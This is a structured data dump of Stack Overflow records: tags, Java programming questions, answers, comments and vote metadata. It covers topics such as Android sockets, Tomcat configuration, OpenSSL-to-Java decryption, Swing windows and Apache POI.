tags question: http://stackoverflow.com/q/22251787
tags question: http://stackoverflow.com/q/22211142
tags question: http://stackoverflow.com/q/22221545
tags question: http://stackoverflow.com/q/22313288
tags question: http://stackoverflow.com/q/22262249
tags question: http://stackoverflow.com/q/22169373
tags question: http://stackoverflow.com/q/22320369
tags question: http://stackoverflow.com/q/22230853
tags question: http://stackoverflow.com/q/22248716
tags question: http://stackoverflow.com/q/22274546
tags question: http://stackoverflow.com/q/22314009
tags question: http://stackoverflow.com/q/22173149
type: Tag
tags question: http://stackoverflow.com/q/22208839
tags question: http://stackoverflow.com/q/22244398
tags question: http://stackoverflow.com/q/22233736
tag name: collections
tags question: http://stackoverflow.com/q/22260322
tags question: http://stackoverflow.com/q/22327979
tags question: http://stackoverflow.com/q/22271559
tags question: http://stackoverflow.com/q/22194523
tags question: http://stackoverflow.com/q/22322128
tags question: http://stackoverflow.com/q/22210153
tags question: http://stackoverflow.com/q/22308654
tags question: http://stackoverflow.com/q/22309812

http://stackoverflow.com/q/22269809
has comment: http://stackoverflow.com/comment/33827779
type: UnansweredQuestion
tagged with: android
upvote count: 1
score: 1
has body: I'm using ServerSocket to listen to a certain port on an Android app in order to get a response from a server. When the server sends the http response I receive it as a socket and then I use the Input Stream to get the data. Any way, everything works great and I get the Http Response but as a string (because I'm reading the Input Stream and then decode it to string): GET /?code={Some code} HTTP/1.1 Host: localhost:9004 Connection: keep-alive . . . {More headers} What I need is to parse the code (first row) but I don't want to process the string by my self. I'm sure there's a easier way. ServerSocket serverSocket = new ServerSocket(9004); serverSocket.setReuseAddress(true); serverSocket.setReceiveBufferSize(1500); if(!serverSocket.isBound()) { SocketAddress localAddress = new InetSocketAddress(9004); serverSocket.bind(localAddress); } Socket socket = serverSocket.accept(); InputStream is = socket.getInputStream(); byte[] buffer = new byte[1024]; int count = is.read(buffer); String response = new String(buffer, "UTF-8"); // What should I do here?? serverSocket.close(); Thanks a lot!
tagged with: java
linked to: http://stackoverflow.com/q/13592236
has answer: http://stackoverflow.com/a/22270243
has comment: http://stackoverflow.com/comment/33827764
type: Question
linked to: http://stackoverflow.com/q/4662215
has comment: http://stackoverflow.com/comment/33827405
has title: Parsing Get values from Http Response as string
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/33827435
tagged with: httpresponse
tagged with: parsing
favorite count: 0

http://stackoverflow.com/a/26374164
answers question: http://stackoverflow.com/q/22225764
downvote count: 2
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22225764
has comment: http://stackoverflow.com/comment/50650508
has comment: http://stackoverflow.com/comment/91139569
has comment: http://stackoverflow.com/comment/64565475
type: Answer
upvote count: 166
has body: It affects at least NetBeans versions 7.4 through 8.0.2. It was first reported from version 8.0 and fixed in NetBeans 8.1. It would have had the problem for any tomcat version (confirmed for versions 7.0.56 through 8.0.28). Specifics are described as Netbeans bug #248182. This problem is also related to postings mentioning the following error output: '127.0.0.1*' is not recognized as an internal or external command, operable program or batch file. For a tomcat installed from the zip file, I fixed it by changing the catalina.bat file in the tomcat bin directory. Find the bellow configuration in your catalina.bat file. :noJuliConfig set "JAVA_OPTS=%JAVA_OPTS% %LOGGING_CONFIG%" :noJuliManager set "JAVA_OPTS=%JAVA_OPTS% %LOGGING_MANAGER%" And change it as in below by removing the double quotes: :noJuliConfig set JAVA_OPTS=%JAVA_OPTS% %LOGGING_CONFIG% :noJuliManager set JAVA_OPTS=%JAVA_OPTS% %LOGGING_MANAGER% Now save your changes, and start your tomcat from within NetBeans.
has comment: http://stackoverflow.com/comment/55194221
has comment: http://stackoverflow.com/comment/45134907
has comment: http://stackoverflow.com/comment/62264051
has comment: http://stackoverflow.com/comment/106820895
has comment: http://stackoverflow.com/comment/50966855
has comment: http://stackoverflow.com/comment/41947008
has comment: http://stackoverflow.com/comment/57943559
score: 164
has comment: http://stackoverflow.com/comment/45879503

http://stackoverflow.com/q/22204645
accepted answer: http://stackoverflow.com/a/22204733
has body: I don't know if this is possible, but I am trying to make a JPanel with a drop down list. One of the parameters takes an array of options, so I have to use an array, not a list. I am doing this right now: //if they have enough gold to buy 5 if(totalGold &gt;= 25){ Object[] possibilities = {1, 2, 3, 4, 5}; } //if they have between 20 and 24 gold else if(totalGold &gt;= 20 &amp;&amp; totalGold &lt; 25){ Object[] possibilities = {1, 2, 3, 4}; } //if Player has between 15 and 19 gold else if(totalGold &gt;=15 &amp;&amp; totalGold &lt; 19){ Object[] possibilities = {1, 2, 3}; } //if Player has between 10 and 14 gold else if(totalGold &gt;= 10 &amp;&amp; totalGold &lt;14){ Object[] possibilities = {1, 2}; } //if Player has between 5 and 9 gold else if(totalGold &gt;= 5 &amp;&amp; totalGold &lt; 9){ Object[] possibilities = {1}; } Unfortunately the possibilities variable is out of scope and I am unable to use this variable. I would like to be able to say something like: Object[] possibilities; and then define what the array is later but I don't seem to be able to do that. Is there a way to be able to change what the possibilities array contains based on the value of totalGold? Thanks!
has answer: http://stackoverflow.com/a/22204733
has answer: http://stackoverflow.com/a/22205219
possible better answer: http://stackoverflow.com/a/22204855
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33709909
tagged with: java
has comment: http://stackoverflow.com/comment/33710451
has answer: http://stackoverflow.com/a/22204855
tagged with: jpanel
has comment: http://stackoverflow.com/comment/33710234
type: Question
has title: How can I predeclare an array?
tagged with: arrays
score: 0
answer count: 3

stocks
tags question: http://stackoverflow.com/q/22195412
tag name: stocks
type: Tag

http://stackoverflow.com/comment/33765220
comment on: http://stackoverflow.com/q/22235025
has text: add.setOnClickListener(new View.OnClickListener() {
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/33730363
type: AnswerComment
has text: thanks for your support but i have some problem to create date lines on graph. as you see on image.
comment on: http://stackoverflow.com/a/22200278
type: Comment
score: 0

izpack
tag name: izpack
tags question: http://stackoverflow.com/q/22223826
type: Tag

http://stackoverflow.com/q/22244947
has title: Decrypt file in Java that has been asymmetrically encrypted (AES-256) using OpenSSL (RSA-2048 Public-/Private-Key)
has body: I know this is a hard one... but I encrypt a file in a very standard way using OpenSSL. The file is encrypted in AES-256 using an RSA-2048 Public-Key. I want to decrypt the file in Java using the Private-Key. I researched for a long time and tried a lot of methods, but none seems to work. I just find related problems with working solutions, but not for exactly my problem. I generate the Public-/Private-Key-Pair using this command: openssl req -x509 -nodes -days 18250 -newkey rsa:2048 -keyout MyPrivateKey.pem -out MyPublicKey.pem -subj "/C=CH/O=My Company/CN=My Key" I encrypt the file using this command: openssl smime -encrypt -aes256 -in message.zip -binary -outform DEM -out message.dat MyPublicKey.pem The file can be decrypted using this command: openssl smime -decrypt -in message.dat -binary -inform DEM -inkey MyPrivateKey.pem -out message.zip But how can the decryption be done in Java? I know about JCE and I have heard of BouncyCastle. I just find hints, but no working solution. BTW: It is a requirement and hard constraint that the file is asymmetrically encrypted using OpenSSL and decrypted using Java. Thanks for your help, experts!
tagged with: openssl
score: 2
answer count: 1
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: encryption
tagged with: aes
upvote count: 2
tagged with: java
has answer: http://stackoverflow.com/a/22289757
type: Question
tagged with: rsa

http://stackoverflow.com/comment/33778072
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22242287
score: 0
has text: @sanbhat - `request` can't be `null`. The NPE is thrown from within `Request.setAttribute`.

http://stackoverflow.com/comment/33840544
type: Comment
type: QuestionComment
has text: Do you have a specific problem your experiencing or just a general `I don't know how to do this`. StackOverflow's purpose is not for the latter.
comment on: http://stackoverflow.com/q/22276784
score: 0

http://stackoverflow.com/comment/33877779
score: 0
type: QuestionComment
type: Comment
has text: can you please re-edit the code once again ?
comment on: http://stackoverflow.com/q/22297628

http://stackoverflow.com/comment/33807802
score: 0
has text: Use `Arrays.toString();`
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22258824

http://stackoverflow.com/q/22182873
type: UnansweredQuestion
upvote count: 1
has body: So I'm writing a program that will accept the name of a game, the publisher, and the price(as a string) back into a file that has some records in it already. However, when I run the program it erases the previous records. //open the output stream FileWriter writeFile = new FileWriter(inFile); BufferedWriter lineWriter = new BufferedWriter(writeFile); PrintWriter printLine = new PrintWriter(lineWriter); if (menuItem == ADD_GAME) { //Get game System.out.print("Enter name of game: "); gameName = Keyboard.readString(); //get publisher System.out.print("Enter name of publisher: "); publisherName = Keyboard.readString(); //get price of game System.out.print("Enter game price: "); gamePrice = Keyboard.readString(); //add game to games createdGame.addGame(gameName, publisherName, gamePrice); //add game to file record outLine = gameName + " " + publisherName + " " + gamePrice; printLine.println(outLine); }
has answer: http://stackoverflow.com/a/22183027
score: 1
tagged with: java
type: Question
answer count: 1
downvote count: 0
has title: Data gets erased during Output stream
favorite count: 0
tagged with: file-io
tagged with: data-loss

gwt-gin
tags question: http://stackoverflow.com/q/22173209
type: Tag
tag name: gwt-gin

tablemodel
type: Tag
tags question: http://stackoverflow.com/q/22180425
tag name: tablemodel
tags question: http://stackoverflow.com/q/22286550

http://stackoverflow.com/comment/33709697
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22204322
type: Comment
has text: Thanks for the reply Jim. Can you please elaborate your answer?

http://stackoverflow.com/q/22210018
upvote count: 1
tagged with: swing
has body: So I currently have a program that has 2 windows extending JFrame. The Main window has a button opening a new window (Window 2). Window2 has its own defined class with widgets and listeners. At the moment if I press the button in the Main frame more than once whilst the second window is still open then it would switch to that window, without creating a new one (which is exactly what I want). The 2nd window also has some widgets, a search field and a table that's populated according to what the user types in the JTextField. The problem is that once I close Window2 and press the button in the Main window to re-open it, the same window appears with the previously entered text in the search field and the populated table. The thing is, I want to make it so that once Window2 is closed and re-opened then I create a completely new instance of Window2 with an empty search field and table. I thought this would work with JFrame.DISPOSE_ON_CLOSE but it didn't. A bit of my code might explain this better: public class MainWindow extends JFrame{ /* * create widgets and panels in Main window */ private Window2 ww = null; Button.addActionListener(new ActionListener() { // the button that opens //a new window @Override public void actionPerformed(ActionEvent e) { if (ww==null) { //creating the new window here ww = new Window2(); ww.setTitle("Window2"); ww.setSize(600, 400); } ww.setVisible(true); }); } /* * Window 2 */ public class Window2 extends JFrame { //add widgets and listeners pack(); setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); }
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33719878
has comment: http://stackoverflow.com/comment/33719904
score: 1
tagged with: java
type: Question
linked to: http://stackoverflow.com/q/9554636
has answer: http://stackoverflow.com/a/22211298
has comment: http://stackoverflow.com/comment/33720428
accepted answer: http://stackoverflow.com/a/22211298
tagged with: dispose
has comment: http://stackoverflow.com/comment/33720586
has title: Re-constructing JFrame in actionPerformed method
answer count: 1
tagged with: user-interface
downvote count: 0
favorite count: 0
tagged with: jframe

http://stackoverflow.com/q/22306200
possible better answer: http://stackoverflow.com/a/22311816
upvote count: 5
has title: Accesing JobContext from a partitioned step in JSR 352
tagged with: glassfish-4
has comment: http://stackoverflow.com/comment/90766781
has comment: http://stackoverflow.com/comment/33895717
type: AnsweredQuestion
downvote count: 0
tagged with: java
has body: I'm trying to pass an object between batchlets, but I've encountered a problem when trying to access the jobContext from a partitioned step (batchlet). According to the JSR 352 Specification 9.4.1.1 Batch Context Lifecycle and Scope: A batch context has thread affinity and is visible only to the batch artifacts executing on that particular thread. A batch context injected field may be null when out of scope. Each context type has a distinct scope and lifecycle as follows: 1. JobContext There is one JobContext per job execution. It exists for the life of a job. There is a distinct JobContext for each sub-thread of a parallel execution (e.g. partitioned step). 2. StepContext There is one StepContext per step execution. It exists for the life of the step. For a partitioned step, there is one StepContext for the parent step/thread; there is a distinct StepContext for each sub-thread. My (failed) solution was to use the JobContext.setTransientUserData, but because the partitioned step uses a distinct JobContext I can't get the TransientUserData. Is there an alternative to what I'm trying to do? Using PartitionMapper properties it's not possible because I need to pass an object, not a string to every partition. To be clear, I need to do this: NormalBatchlet -> Save an object to be used in the next step. PartitionedBatchlet -> Obtain the saved object in previous step. This object isn't a simple String so using PartitionMapper properties is not a solution. UPDATE I'm now using a simple Singleton EJB with a HashMap to store objects between steps and when the job is finished I clear this map to avoid resources leak. This is a workaround because I really want to use only the javax.batch package and not depend on EJB's, so I'm not putting it as an answer.
has answer: http://stackoverflow.com/a/22311816
type: Question
score: 5
has answer: http://stackoverflow.com/a/29031640
tagged with: batch-processing
has answer: http://stackoverflow.com/a/22361156
has comment: http://stackoverflow.com/comment/33894056
accepted answer: http://stackoverflow.com/a/22361156
favorite count: 0
answer count: 3

http://stackoverflow.com/comment/33965021
has text: @JonSkeet Can you please explain me `Why data is not recoverable by the time it's been converted to a string`. I saw your comment in the question as well. But, i couldn't understand it. I need to learn and understand it completely. Can you point me to a reference? `How do I find the correct encoding for the coversion?` Please help
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22326982

http://stackoverflow.com/a/58887036
type: Answer
answers question: http://stackoverflow.com/q/22172230
upvote count: 4
downvote count: 0
score: 4
has body: This command line option should work if you are using maven-source-plugin (works with Maven 3.6.0): -Dmaven.source.skip=true

http://stackoverflow.com/a/22182487
score: 0
has body: There is only one type of array. In an array, you put in an index, and you get out the corresponding item. If you want to use an array to represent this information, I would make a class that contains where you can set the Player and the Arena values, and then store each object in the array.
type: Answer
answers question: http://stackoverflow.com/q/22182376

jdbc
tags question: http://stackoverflow.com/q/22254404
tags question: http://stackoverflow.com/q/22238275
tags question: http://stackoverflow.com/q/22253551
tags question: http://stackoverflow.com/q/22243932
tags question: http://stackoverflow.com/q/22208095
tags question: http://stackoverflow.com/q/22316275
tags question: http://stackoverflow.com/q/22205876
tags question: http://stackoverflow.com/q/22296989
tags question: http://stackoverflow.com/q/22298303
tags question: http://stackoverflow.com/q/22307225
tags question: http://stackoverflow.com/q/22213580
tags question: http://stackoverflow.com/q/22186619
tags question: http://stackoverflow.com/q/22282942
tags question: http://stackoverflow.com/q/22287155
tags question: http://stackoverflow.com/q/22227547
tags question: http://stackoverflow.com/q/22201265
tags question: http://stackoverflow.com/q/22241433
tags question: http://stackoverflow.com/q/22225854
tags question: http://stackoverflow.com/q/22201652
tags question: http://stackoverflow.com/q/22274869
tags question: http://stackoverflow.com/q/22324595
tags question: http://stackoverflow.com/q/22287160
tags question: http://stackoverflow.com/q/22248808
type: Tag
tags question: http://stackoverflow.com/q/22223606
tags question: http://stackoverflow.com/q/22260380
tags question: http://stackoverflow.com/q/22239423
tags question: http://stackoverflow.com/q/22200918
tags question: http://stackoverflow.com/q/22310812
tags question: http://stackoverflow.com/q/22229497
tags question: http://stackoverflow.com/q/22304487
tags question: http://stackoverflow.com/q/22226067
tags question: http://stackoverflow.com/q/22201377
tags question: http://stackoverflow.com/q/22294462
tags question: http://stackoverflow.com/q/22190204
tags question: http://stackoverflow.com/q/22217805
tags question: http://stackoverflow.com/q/22243821
tags question: http://stackoverflow.com/q/22175961
tags question: http://stackoverflow.com/q/22265227
tags question: http://stackoverflow.com/q/22198917
tags question: http://stackoverflow.com/q/22271475
tags question: http://stackoverflow.com/q/22269908
tags question: http://stackoverflow.com/q/22218268
tags question: http://stackoverflow.com/q/22317215
tags question: http://stackoverflow.com/q/22312527
tags question: http://stackoverflow.com/q/22252177
tags question: http://stackoverflow.com/q/22323364
tags question: http://stackoverflow.com/q/22196514
tags question: http://stackoverflow.com/q/22236239
tags question: http://stackoverflow.com/q/22237491
tags question: http://stackoverflow.com/q/22216694
tags question: http://stackoverflow.com/q/22201536
tags question: http://stackoverflow.com/q/22264433
tags question: http://stackoverflow.com/q/22281820
tags question: http://stackoverflow.com/q/22294909
tags question: http://stackoverflow.com/q/22203378
tags question: http://stackoverflow.com/q/22183163
tags question: http://stackoverflow.com/q/22229604
tags question: http://stackoverflow.com/q/22247726
tags question: http://stackoverflow.com/q/22232904
tags question: http://stackoverflow.com/q/22321773
tags question: http://stackoverflow.com/q/22242783
tags question: http://stackoverflow.com/q/22236879
tags question: http://stackoverflow.com/q/22177506
tags question: http://stackoverflow.com/q/22191652
tags question: http://stackoverflow.com/q/22239215
tags question: http://stackoverflow.com/q/22200665
tags question: http://stackoverflow.com/q/22307259
tags question: http://stackoverflow.com/q/22274936
tags question: http://stackoverflow.com/q/22183052
tag name: jdbc
tags question: http://stackoverflow.com/q/22311666
tags question: http://stackoverflow.com/q/22180079
tags question: http://stackoverflow.com/q/22214640
tags question: http://stackoverflow.com/q/22320882
tags question: http://stackoverflow.com/q/22307679
tags question: http://stackoverflow.com/q/22208344
tags question: http://stackoverflow.com/q/22266814
tags question: http://stackoverflow.com/q/22303085
tags question: http://stackoverflow.com/q/22242271

http://stackoverflow.com/a/22205522
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/22205466
has body: You can use the instanceof keyword. public boolean isActionEvent(EventObject o){ return o instanceof ActionEvent; } More info here: http://docs.oracle.com/javase/tutorial/java/nutsandbolts/op2.html
downvote count: 0
type: Answer

http://stackoverflow.com/comment/33877945
comment on: http://stackoverflow.com/q/22297609
has text: +1 to encourage! Why do we see downvotes this much these days? It's mechanism should change for sure!
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/comment/33785384
comment on: http://stackoverflow.com/q/22246424
type: QuestionComment
score: 0
has text: You cannot use `case` as a variable name, this code will not compile; please edit and paste the real code
type: Comment

http://stackoverflow.com/comment/33789581
has text: just remove the selection from the array after you are done, rinse repeat...
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22248987

http://stackoverflow.com/q/22260508
has comment: http://stackoverflow.com/comment/33824944
tagged with: programming-languages
favorite count: 0
tagged with: vm-implementation
accepted answer: http://stackoverflow.com/a/22260681
has body: I'm planning on designing and implementing my own programming language. Is it a good idea to build my language in Java and run it off of the JVM or would my language be faster if I wrote it in C and ran the code off of my own virtual machine?
has comment: http://stackoverflow.com/comment/33835714
tagged with: jvm
has title: Implementing a Language in Java
has comment: http://stackoverflow.com/comment/33812273
has answer: http://stackoverflow.com/a/22260681
type: AnsweredQuestion
downvote count: 0
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33839820
tagged with: http://stackoverflow.com/tag/c
type: Question
has comment: http://stackoverflow.com/comment/33811440
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/33811224

http://stackoverflow.com/comment/33739038
has text: @Sandra also --master is master slave replication which is deprecated you want to use replica sets
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22219039

http://stackoverflow.com/a/22208044
type: Answer
has body: java.lang.IllegalArgumentException: Prepared query is not of type SELECT_LONG, did you call QueryBuilder.setCountOf(true)? So the exception is trying to tell you what went wrong. When you build a query, ORMLite does not know what the query is going to be used for. Because you can select various columns and the like or use aggregate functions (like MAX(...)) it records an internal query-type and then checks it when the query is executed. If you want to use Dao.countOf(...) then you need to add setCountOf(true) on your QueryBuilder object. The docs for Dao.countOf(...) should be made more explicit of this fact. PreparedQuery&lt;Klient&gt; query = klientDao.queryBuilder().setCountOf(true) .where().eq("Kli_nazwa",et_nazwa.getText().toString()).prepare(); If you use queryBuilder.countOf() or where.countOf() then it will set the count-of flag internally. You can get the count of the query without this problem by doing: value = klientDao.queryBuilder() .where().eq("Kli_nazwa",et_nazwa.getText().toString()).countOf(); Btw, this is a strange pattern: et_adres.setText(((PreparedQuery)q_adres).toString()); Maybe you wanted to do the following? String queryString = klientDao.queryBuilder()...prepareStatementString();
has comment: http://stackoverflow.com/comment/33716845
upvote count: 2
answers question: http://stackoverflow.com/q/22183886
score: 2
accepted answer of: http://stackoverflow.com/q/22183886
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/33669909
comment on: http://stackoverflow.com/q/22171505
score: 0
type: Comment
type: QuestionComment
has text: @Smutje this may get complicated if too many people are drinking beer and you have to toast with everyone. This kind of coupling becomes a really hard problem then.

http://stackoverflow.com/q/22267216
tagged with: java
has body: I would like to print by connected printer a spreadsheet created with Apache POI. How to do it? I asked similar question a year ago and I have to say: I do not mean openning .xls file and using ctrl+p ; ). The sheet is: import java.io.FileOutputStream; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.HashMap; import java.util.Locale; import java.util.Map; import org.apache.poi.hssf.usermodel.HSSFWorkbook; import org.apache.poi.ss.usermodel.Cell; import org.apache.poi.ss.usermodel.CellStyle; import org.apache.poi.ss.usermodel.DataFormat; import org.apache.poi.ss.usermodel.Font; import org.apache.poi.ss.usermodel.IndexedColors; import org.apache.poi.ss.usermodel.PrintSetup; import org.apache.poi.ss.usermodel.Row; import org.apache.poi.ss.usermodel.Sheet; import org.apache.poi.ss.usermodel.Workbook; import org.apache.poi.xssf.usermodel.XSSFWorkbook; public class BusinessPlan { private static SimpleDateFormat fmt = new SimpleDateFormat("dd-MMM", Locale.US); private static final String[] titles = { "ID", "Project Name", "Owner", "Days", "Start", "End" }; //sample data to fill the sheet. private static final String[][] data = { { "1.0", "Marketing Research Tactical Plan", "J. Dow", "70", "9-Jul", null, "x", "x", "x", "x", "x", "x", "x", "x", "x", "x", "x" }, null, { "1.1", "Scope Definition Phase", "J. Dow", "10", "9-Jul", null, "x", "x", null, null, null, null, null, null, null, null, null }, { "1.1.1", "Define research objectives", "J. Dow", "3", "9-Jul", null, "x", null, null, null, null, null, null, null, null, null, null }, { "1.1.2", "Define research requirements", "S. Jones", "7", "10-Jul", null, "x", "x", null, null, null, null, null, null, null, null, null }, { "1.1.3", "Determine in-house resource or hire vendor", "J. Dow", "2", "15-Jul", null, "x", "x", null, null, null, null, null, null, null, null, null }, null, { "1.2", "Vendor Selection Phase", "J. Dow", "19", "19-Jul", null, null, "x", "x", "x", "x", null, null, null, null, nu…
has comment: http://stackoverflow.com/comment/68212433
tagged with: excel
type: Question
has title: How to print(by printer) Excel sheet using Apache POI
tagged with: printing
downvote count: 0
favorite count: 0
type: UnansweredQuestion
score: 2
tagged with: apache-poi
answer count: 0
upvote count: 2

http://stackoverflow.com/q/22183506
answer count: 1
has body: I am just in process by learning Android a bit, and i have stumbled on this problem. I want to do a "custom incoming call screen". My current Solution is a class(IncomingCallInterceptor) that extends from BroadcastReceiver. In IncomingCallInterceptor class i override the onReceive and starting my activity(MainActivity) with layout when the phone is ringing. In that activity(MainActivity) i have three buttons: Accept Call, Hang Up, Decline Call Those buttons should do what they say, Answer the phone, hang up the phone or decline the call. I have in someway got the Accept Call to work, but not Hang Up and Decline. Heres my code below: Manifest: <?xml version="1.0" encoding="utf-8"?> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <action android:name="android.intent.action.PHONE_STATE"/> IncomingCallInterceptor that extends from BroadcastReceiver: public class IncomingCallInterceptor extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Context appContext = context.getApplicationContext(); String state = intent.getStringExtra(TelephonyManager.EXTRA_STATE); String msg = "Phone state changed to " + state; if (TelephonyManager.EXTRA_STATE_RINGING.equals(state)) { String incomingNumber = intent.getStringExtra (TelephonyManager.EXTRA_INCOMING_NUMBER); msg += ". Incoming number is this " + incomingNumber; //START MY ACTIVITY! Intent i = new Intent(appContext, MainActivity.class); i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); appContext.startActivity(i); } Toast.makeText(context, msg, Toast.LENGTH_LONG).show(); } } Here is my Activity(The Layout is nothing to post, just now is basically three buttons) public class MainActivity extends ActionBarActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button btnAnswer = (Button)findViewById(R.id.btnAnswer); Button …
favorite count: 0
type: UnansweredQuestion
tagged with: java
type: Question
upvote count: 4
tagged with: broadcastreceiver
has title: Hang up and decline incoming call by custom activity[buttons] Android
has answer: http://stackoverflow.com/a/50505586
downvote count: 0
score: 4
tagged with: android

http://stackoverflow.com/comment/33812900
has text: I can't follow you now, so reversing lines works as you expected, than why are you confused that you get the same input as output if you have only one line? That should be the expected behaviour. Also I can't follow you and your paragraph question. Maybe you can edit the question and clarify what exactly you want the program to do for what input file you expect which output.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22236434

http://stackoverflow.com/q/22280268
has answer: http://stackoverflow.com/a/22284817
type: Question
tagged with: jacob
tagged with: java
tagged with: activex
score: 0
answer count: 1
has body: since migrating to Lync 2013, my code fails at ActiveXComponent officeCommunicatorActiveX = new ActiveXComponent("Communicator.UIAutomation"); with the exception: Exception in thread "Thread-10" com.jacob.com.ComFailException: Can't co-create object at com.jacob.com.Dispatch.createInstanceNative(Native Method) at com.jacob.com.Dispatch.&lt;init&gt;(Dispatch.java:101) I tried some online solutions, but none worked. Lync is running in 32 bit mode, and I ran my app with bot 32 &amp; 64 bit JDKs - didn't matter. Am i using JACOB wrong ? EDIT: before running this code, I choose my JACOB dll with: if (shouldLoad32Bit()) { System.setProperty(LibraryLoader.JACOB_DLL_PATH, Files.JACOB_32.getAbsolutePath()); } else { System.setProperty(LibraryLoader.JACOB_DLL_PATH, Files.JACOB_64.getAbsolutePath()); }
type: UnansweredQuestion
tagged with: lync
has title: Can't create ActiveXComponent using JACOB
tagged with: com

http://stackoverflow.com/comment/33749987
score: 0
comment on: http://stackoverflow.com/a/22227321
type: Comment
has text: thanks for your explanation :) so meaning the way i close and use entities on the code is enough and what i should do next is to confugure the operating sysyem? well i guess i have to find a way on how to do that on ubuntu ( for development) and red hat (server)
type: AnswerComment

http://stackoverflow.com/a/22287996
has body: Yes, you have to overload the constructor, which is something you should read up on. It allows you to provide multiple input parameters for a method. The compiler will choose the appropriate method when the method is called. Here are the Javadocs on overloading: http://docs.oracle.com/javase/tutorial/java/javaOO/methods.html
score: 7
has comment: http://stackoverflow.com/comment/33860919
upvote count: 7
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22287988

http://stackoverflow.com/q/22185129
tagged with: concatenation
answer count: 1
downvote count: 0
tagged with: string
favorite count: 0
has comment: http://stackoverflow.com/comment/33675174
has answer: http://stackoverflow.com/a/22185173
has comment: http://stackoverflow.com/comment/33675272
type: AnsweredQuestion
score: 1
tagged with: java
upvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/22185173
has title: Unable to use StringBuilder to concatenate chars to String
has body: BThis is my code: public static void main(String[] args) { String teacherName = "Benjamin Brown"; int teacherSecondInitialIndex = (teacherName.indexOf(" ") + 1); String teacherInitials = new StringBuilder(teacherName.charAt(0)).append(teacherName.charAt(teacherSecondInitialIndex)).toString(); System.out.println(teacherInitials); } I want to print out the initials of teacherName, which would be "BB". But only "B" is being printed out. What is the issue?
tagged with: char

xmpp
tags question: http://stackoverflow.com/q/22281279
tags question: http://stackoverflow.com/q/22271965
tags question: http://stackoverflow.com/q/22244235
type: Tag
tags question: http://stackoverflow.com/q/22286691
tags question: http://stackoverflow.com/q/22325230
tags question: http://stackoverflow.com/q/22302843
tags question: http://stackoverflow.com/q/22223022
tags question: http://stackoverflow.com/q/22225167
tag name: xmpp

http://stackoverflow.com/q/22229798
type: Question
tagged with: java
tagged with: rcp
tagged with: eclipse
upvote count: 2
favorite count: 0
has title: Drag and drop not working with custom implementation of Ctrl + a
tagged with: drag-and-drop
type: UnansweredQuestion
has body: I have a simple RCP application, where I have some nodes and connections between them. Now I want to make a shortcut Ctrl + A to select all of them and it seems to work, however I can't drag and drop them. When I select them manually with shift + LMB it behaves as it should. What could be the problem and how can I fix it? And another question. When I select nodes manually and click elsewhere they deselect, but when I select them with my Ctrl + A that's not the case. Any help greatly appreciated. IEditorPart editor = PlatformUI.getWorkbench() .getActiveWorkbenchWindow().getActivePage().getActiveEditor(); Class multiPageEditorClass; try { multiPageEditorClass = editor .getClass() .getClassLoader() .loadClass( "org.jboss.tools.flow.jpdl4.multipage.editors.MultiPageEditor"); if (multiPageEditorClass.isInstance(editor)) { Method getActiveInneEditorMethod = multiPageEditorClass .getMethod("getActiveInnerEditor", new Class[0]); Object innerEditor = getActiveInneEditorMethod.invoke( multiPageEditorClass.cast(editor)); if (innerEditor instanceof JpdlEditor) { EditPart contents = ((JpdlEditor) innerEditor).getGraphicalViewer().getContents(); List&lt;EditPart&gt; list = contents.getChildren(); for (EditPart editPart : list) { editPart.setSelected(1); } }
score: 2
answer count: 0
downvote count: 0

http://stackoverflow.com/comment/33724591
type: Comment
comment on: http://stackoverflow.com/a/22212381
score: 0
type: AnswerComment
has text: @ninnemannk - ArrayList won't give you key->value mappings for free. And it would require introducing another tuple object to hold the pairs.

http://stackoverflow.com/q/22267498
has comment: http://stackoverflow.com/comment/33824144
has body: How can i calculate total pixel of three images at the same time? I was tried with java Swing Worker and Thread, i got the answer but it takes 1.30 min to return total pixel count(30 seconds for each image, image size 480*303) of specified range. But I need to get answers of three images at same time within 30 sec. public class ImageProcessor1 implements Runnable{ static int blackPix=0; BufferedImage tempImg; public static int blackPixel=0; public ImageProcessor1(String path) throws Exception{ tempImg = ImageIO.read(new File(path)); } private static int[] getPixelData(BufferedImage img, int x, int y) { int argb = img.getRGB(x, y); int rgb[] = new int[]{ (argb &gt;&gt; 16) &amp; 0xff, //red (argb &gt;&gt; 8) &amp; 0xff, //green (argb) &amp; 0xff //blue }; System.out.println("Process1 :rgb: " + rgb[0] + " " + rgb[1] + " " + rgb[2]); return rgb; } @Override public void run() { int[][] pixelData = new int[tempImg.getHeight() * tempImg.getWidth()][3]; int[] rgb; int height=tempImg.getHeight(); int width=tempImg.getWidth(); int counter = 0; for (int i = 0; i &lt; width; i++) { for (int j = 0; j &lt; height; j++) { rgb = getPixelData(tempImg, i, j); if(rgb[0]&lt;125 &amp;&amp; rgb[0]&gt;105 &amp;&amp; rgb[1]&lt;125 &amp;&amp; rgb[1]&gt;105 &amp;&amp; rgb[2]&lt;125 &amp;&amp; rgb[2]&gt;105) { blackPixel+=1; } } } } }
